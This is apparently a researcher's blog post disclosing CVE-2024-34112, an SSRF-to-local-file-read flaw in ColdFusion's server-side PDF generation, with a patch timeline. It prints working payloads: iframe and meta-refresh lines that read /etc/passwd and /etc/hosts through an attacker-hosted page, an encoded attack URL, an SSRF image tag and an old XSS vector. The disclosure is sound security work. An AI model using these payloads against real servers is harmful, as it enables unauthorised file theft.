An SSRF to LFI Payload for PDF Generators (CVE-2024-34112 and beyond)

"Hola, amigos. How’s it hangin’? I know it’s been a long time since I last rapped at ya, but I've been busier than a feather plucker on nickel wing night, ya know?  You old buddy Jimbo found some discarded books out back next to the dumpster at the inconvenience store about something called 'Cold Fusion' and I've been reading through those bad boys.  Shoulda called it CON-Fusion if ya ask me.  But I've been having trouble reading the printed word and gettin' these awful headaches ever since I popped in side two of 'Hemispheres' and lit up some sweet Thai Stick I found underneath the passenger side seat of my crapbox Festiva -- that turned out to be the taquito I dropped last July after the Dane County Fair.  It just goes to show ya, yours truly can't catch a break in this world."

[ It was at this point that we decided it wouldn't be a good idea to let Mr. Anchower write the entire blog post.  We weren't wrong.   -Ed. ]

Ahem.  Quick post for today on an SSRF payload that can potentially be used for local file retrieval.  I'll be framing it in the context of CVE-2024-34112, but it could be a viable attack against any application that is doing server-side PDF generation with user-controlled data.  

In March 2024, Adobe released product security bulletin APSB24-14 along with ColdFusion 2023 Update 7 and ColdFusion 2021 Update 13.  The Tech Notes for those updates reference several security fixes, and the following section caught my eye:

You don't need a weatherman to figure out what was fixed.  The <cfdocument> tag will render the specified content, including HTML, into a PDF document.  Prior to the patch, the following code would generate a PDF with the contents of /etc/passwd from the application server:

<cfdocument format="pdf">
<iframe src="file:///etc/passwd">
</cfdocument>

After APSB24-14, this code will now return an error:

[ Important Security Sidenote: It's worth pointing out that if the user can inject any HTML that will be rendered in server-side-created PDFs it's very likely that they can perform high-impact HTTP-based SSRF attacks -- even if the File URI scheme is blocked.  Something like this rendered in a PDF:

<img src="https://my-ssrf-destination/"> 

will result in https://my-ssrf-destination/ being fetched by the application server when the PDF is created, and can have security implications.

But let's continue our focus on just SSRF payloads leading to local file retrieval for now. ] 

The HTML-to-PDF rendering process in ColdFusion uses a modified version of ICESoft's IceBrowser, iText, and few other libraries.  Support for JavaScript and a handful of HTML tags are disabled.  Enter the <meta> tag.  Old timers will recall lots of XSS vectors if you could inject a <meta> tag or inject into an existing <meta> tag, e.g.:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

(Mmmmmm.....it smells like Ed Hardy shirts,  Jim Anchower pastiche, and IE6)

But if the HTML is being rendered server-side, then we can leverage the <meta> tag for SSRF and local file retrieval.  Consider the following vulnerable code (pdf.cfm) running on our ColdFusion server (cf-server):

<cfdocument format="pdf"> 
<cfoutput>#url.foo#</cfoutput>
</cfdocument>

On an attacker-controlled webserver, we create a file named meta.html with the following contents:

<meta http-equiv="refresh" content="0; file:///etc/hosts">

When we make a request like this against the vulnerable server:

https://cf-server/pdf.cfm?foo=%3Ciframe%20src=%22https://attacker/meta.html%22%20width=1000%3E

we'll retrieve the contents of the file:/// path in our attacker-controlled <meta> tag from the vulnerable ColdFusion application server.

This attack vector was fixed as CVE-2024-34112 in Adobe Product Security Bulletin APSB24-41 and the Tech Notes for ColdFusion 2023 Update 8 / ColdFusion 2021 Update 14 included the following:

This SSRF payload may work against other application languages and platforms that generate server-side PDFs from user-controlled content.  For developers - if you're generating PDFs in your applications, you'll want to perform strict validation of all user-controlled data. Local file retrieval can be very bad, but there's still a lot of damage an attacker could do with just HTTP/HTTPS SSRF attacks. 

[ A note on Lucee:  Lucee's <cfdocument> tag doesn't support the rendering of <iframe> tags based on my testing and review of the Lucee source code.  But it does still render other tags that can lead to SSRF (see the "Important Security Sidenote" above), so you'll want to validate any user-controlled input being used to create PDFs. ]

Timeline

2024-03-14 - Reported the vulnerability to Adobe PSIRT

2024-06-11 - Adobe Security Bulletin APSB24-41 released

2025-01-13 - Blog post published